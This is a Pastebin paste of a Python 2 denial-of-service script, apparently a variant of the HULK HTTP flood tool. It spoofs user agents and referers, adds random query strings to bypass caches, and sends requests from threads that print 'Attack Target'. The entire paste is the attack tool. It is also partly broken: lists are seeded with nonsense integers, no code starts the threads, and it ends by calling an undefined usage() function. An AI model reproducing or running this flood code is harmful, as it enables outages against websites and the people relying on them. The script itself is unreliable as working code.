Advertisement
tt2k3

Super Siêu Nhân HULK

Aug 28th, 2015
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 26.15 KB | None | 0 0
  1. #author:TT2K3
  2. import urllib2
  3. import sys
  4. import threading
  5. import random
  6. import re
  7. import time
  8. #global params
  9. url=''
  10. host=''
  11. headers_useragents=[9999999999999999999999999999]
  12. headers_referers=[9999999999999999999999999999]
  13. keyword_top=[99999999999999999999999999999]
  14. request_counter=9999999999999999999999999999
  15. flag=0
  16. safe=0
  17.  
  18. def inc_counter():
  19.     global request_counter
  20.     request_counter+=1
  21.  
  22. def set_flag(val):
  23.     global flag
  24.     flag=val
  25.    
  26. def set_safe():
  27.     global safe
  28.     safe=1
  29.  
  30. # user agents
  31. def useragent_list():
  32.     global headers_useragents
  33.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  34.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  35.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  36.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  37.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  38.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  39.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  40.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  41.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  42.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  43.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  44.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  45.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  46.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  47.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  48.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  49.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  50.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  51.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  52.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  53.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  54.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  55.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  56.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  57.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  58.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  59.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  60.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  61.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  62.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  63.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  64.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  65.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  66.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  67.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  68.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  69.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  70.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  71.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  72.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  73.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  74.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  75.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  76.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  77.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  78.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  79.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  80.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  81.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  82.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  83.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  84.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  85.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  86.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  87.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  88.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  89.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  90.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  91.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  92.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  93.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  94.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  95.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  96.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  97.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  98.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  99.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  100.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  101.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  102.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  103.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  104.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  105.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  106.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  107.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  108.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  109.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  110.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  111.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  112.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  113.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  114.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  115.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  116.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  117.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  118.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  119.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  120.     return(headers_useragents)
  121.  
  122. # referers
  123. def referer_list():
  124.     global headers_referers
  125.     headers_referers.append('http://www.google.com/?q=')
  126.     headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  127.     headers_referers.append('http://vk.com/profile.php?redirect=')
  128.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  129.     headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  130.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  131.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  132.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  133.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  134.     headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  135.     headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  136.     headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  137.     headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  138.     headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  139.     headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  140.     headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  141.     headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  142.     headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  143.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  144.     #bing
  145.     headers_referers.append('http://www.bing.com/search?q=')
  146.     headers_referers.append('https://www.yandex.com/yandsearch?text=')
  147.     headers_referers.append('https://duckduckgo.com/?q=')
  148.     headers_referers.append('http://www.ask.com/web?q=')
  149.     headers_referers.append('http://search.aol.com/aol/search?q=')
  150.     headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  151.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  152.     headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  153.     headers_referers.append('http://host-tracker.com/check_page/?furl=')
  154.     headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  155.     headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  156.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  157.     headers_referers.append('http://www.google.com/?q=')
  158.     headers_referers.append('http://www.google.com/?q=')
  159.     headers_referers.append('http://www.google.com/?q=')
  160.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  161.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  162.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  163.     headers_referers.append('http://filehippo.com/search?q=')
  164.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  165.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  166.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  167.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  168.     headers_referers.append('http://techtv.mit.edu/search?q=')
  169.     headers_referers.append('http://www.ustream.tv/search?q=')
  170.     headers_referers.append('http://www.ted.com/search?q=')
  171.     headers_referers.append('http://funnymama.com/search?q=')
  172.     headers_referers.append('http://itch.io/search?q=')
  173.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  174.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  175.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  176.     headers_referers.append('https://play.google.com/store/search?q=')
  177.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  178.     headers_referers.append('http://www.reddit.com/search?q=')
  179.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  180.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  181.     headers_referers.append('http://jobs.leidos.com/search?q=')
  182.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  183.     headers_referers.append('https://www.pinterest.com/search/?q=')
  184.     headers_referers.append('http://millercenter.org/search?q=')
  185.     headers_referers.append('https://www.npmjs.com/search?q=')
  186.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  187.     headers_referers.append('http://www.shodanhq.com/search?q=')
  188.     headers_referers.append('http://ytmnd.com/search?q=')
  189.     headers_referers.append('http://www.google.com/?q=')
  190.     headers_referers.append('http://www.google.com/?q=')
  191.     headers_referers.append('http://www.google.com/?q=')
  192.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  193.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  194.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  195.     headers_referers.append('http://filehippo.com/search?q=')
  196.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  197.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  198.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  199.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  200.     headers_referers.append('http://techtv.mit.edu/search?q=')
  201.     headers_referers.append('http://www.ustream.tv/search?q=')
  202.     headers_referers.append('http://www.ted.com/search?q=')
  203.     headers_referers.append('http://funnymama.com/search?q=')
  204.     headers_referers.append('http://itch.io/search?q=')
  205.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  206.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  207.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  208.     headers_referers.append('https://play.google.com/store/search?q=')
  209.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  210.     headers_referers.append('http://www.reddit.com/search?q=')
  211.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  212.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  213.     headers_referers.append('http://jobs.leidos.com/search?q=')
  214.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  215.     headers_referers.append('https://www.pinterest.com/search/?q=')
  216.     headers_referers.append('http://millercenter.org/search?q=')
  217.     headers_referers.append('https://www.npmjs.com/search?q=')
  218.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  219.     headers_referers.append('http://www.shodanhq.com/search?q=')
  220.     headers_referers.append('http://ytmnd.com/search?q=')
  221.     headers_referers.append('http://www.google.com/?q=')
  222.     headers_referers.append('http://www.google.com/?q=')
  223.     headers_referers.append('http://www.google.com/?q=')
  224.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  225.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  226.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  227.     headers_referers.append('http://filehippo.com/search?q=')
  228.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  229.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  230.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  231.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  232.     headers_referers.append('http://techtv.mit.edu/search?q=')
  233.     headers_referers.append('http://www.ustream.tv/search?q=')
  234.     headers_referers.append('http://www.ted.com/search?q=')
  235.     headers_referers.append('http://funnymama.com/search?q=')
  236.     headers_referers.append('http://itch.io/search?q=')
  237.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  238.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  239.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  240.     headers_referers.append('https://play.google.com/store/search?q=')
  241.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  242.     headers_referers.append('http://www.reddit.com/search?q=')
  243.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  244.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  245.     headers_referers.append('http://jobs.leidos.com/search?q=')
  246.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  247.     headers_referers.append('https://www.pinterest.com/search/?q=')
  248.     headers_referers.append('http://millercenter.org/search?q=')
  249.     headers_referers.append('https://www.npmjs.com/search?q=')
  250.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  251.     headers_referers.append('http://www.shodanhq.com/search?q=')
  252.     headers_referers.append('http://ytmnd.com/search?q=')
  253.     headers_referers.append('http://www.google.com/?q=')
  254.     headers_referers.append('http://www.google.com/?q=')
  255.     headers_referers.append('http://www.google.com/?q=')
  256.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  257.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  258.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  259.     headers_referers.append('http://filehippo.com/search?q=')
  260.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  261.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  262.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  263.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  264.     headers_referers.append('http://techtv.mit.edu/search?q=')
  265.     headers_referers.append('http://www.ustream.tv/search?q=')
  266.     headers_referers.append('http://www.ted.com/search?q=')
  267.     headers_referers.append('http://funnymama.com/search?q=')
  268.     headers_referers.append('http://itch.io/search?q=')
  269.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  270.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  271.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  272.     headers_referers.append('https://play.google.com/store/search?q=')
  273.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  274.     headers_referers.append('http://www.reddit.com/search?q=')
  275.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  276.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  277.     headers_referers.append('http://jobs.leidos.com/search?q=')
  278.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  279.     headers_referers.append('https://www.pinterest.com/search/?q=')
  280.     headers_referers.append('http://millercenter.org/search?q=')
  281.     headers_referers.append('https://www.npmjs.com/search?q=')
  282.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  283.     headers_referers.append('http://www.shodanhq.com/search?q=')
  284.     headers_referers.append('http://ytmnd.com/search?q=')
  285.     return(headers_referers)
  286.  
  287. # keyword 12
  288. def keyword_list():
  289.     global keyword_top
  290.     keyword_top.append('sex')
  291.     keyword_top.append('Robin Williams')
  292.     keyword_top.append('World Cup')
  293.     keyword_top.append('ca si le roi')
  294.     keyword_top.append('Ebola?')
  295.     keyword_top.append('Malaysia Airlines Flight 370')
  296.     keyword_top.append('ALS Ice Bucket Challenge')
  297.     keyword_top.append('Flappy Bird')
  298.     keyword_top.append('Conchita Wurst')
  299.     keyword_top.append('ISIS')
  300.     keyword_top.append('Frozen')
  301.     keyword_top.append('014 Sochi Winter Olympics')
  302.     keyword_top.append('iPhone')
  303.     keyword_top.append('Samsung Galaxy S5')
  304.     keyword_top.append('Nexus 6')
  305.     keyword_top.append('Moto G')
  306.     keyword_top.append('Samsung Note 4')
  307.     keyword_top.append('LG G3')
  308.     keyword_top.append('Xbox One')
  309.     keyword_top.append('Apple Watch')
  310.     keyword_top.append('Nokia X')
  311.     keyword_top.append('Ipad Air')
  312.     keyword_top.append('facebook')
  313.     keyword_top.append('anonymous')
  314.     return(keyword_top)
  315.    
  316. #builds random ascii string
  317. def buildblock(size):
  318.     out_str = ''
  319.     for i in range(0, size):
  320.         a = random.randint(65, 90)
  321.         out_str += chr(a)
  322.     return(out_str)
  323.  
  324. #http request
  325. def httpcall(url):
  326.     useragent_list()
  327.     referer_list()
  328.     keyword_list()
  329.     code=0
  330.     if url.count("?")>0:
  331.         param_joiner = "&"
  332.     else:
  333.         param_joiner = "?"
  334.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  335.     request.add_header('User-Agent', random.choice(headers_useragents))
  336.     request.add_header('Cache-Control', 'no-cache')
  337.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  338.     request.add_header('Referer', random.choice(headers_referers)+random.choice(keyword_top))
  339.     request.add_header('Keep-Alive', random.randint(110,120))
  340.     request.add_header('Connection', 'keep-alive')
  341.     request.add_header('Host',host)
  342.     try:
  343.             urllib2.urlopen(request)
  344.             if(flag==1): set_flag(0)
  345.             if(code==9999): code=0
  346.     except urllib2.HTTPError, e:
  347.             #print e.code
  348.             set_flag(1)
  349.             print 'Attack Target'
  350.             code=9999
  351.             print "Start : %s" % time.ctime()
  352.             time.sleep(30)
  353.             print "End : %s" % time.ctime()
  354.     except urllib2.URLError, e:
  355. #print e.reason
  356.             sys.exit()
  357.     else:
  358.             inc_counter()
  359.             urllib2.urlopen(request)
  360.     return(code)
  361.  
  362. #http caller thread
  363. class HTTPThread(threading.Thread):
  364.     def run(self):
  365.         try:
  366.             while flag<2:
  367.                 code=httpcall(url)
  368.                 if (code==9999) & (safe==1):
  369.                     set_flag(2)
  370.         except Exception, ex:
  371.             pass
  372.  
  373. # monitors http threads and counts requests
  374. class MonitorThread(threading.Thread):
  375.     def run(self):
  376.         previous=request_counter
  377.         while flag==0:
  378.             if (previous+100<request_counter) & (previous<>request_counter):
  379.                 print "%d Request Sent" % (request_counter)
  380.                 previous=request_counter
  381.             if flag==2:
  382.                 print "\n Stop"
  383.  
  384. #execute
  385. if len(sys.argv) < 2:
  386.     usage()
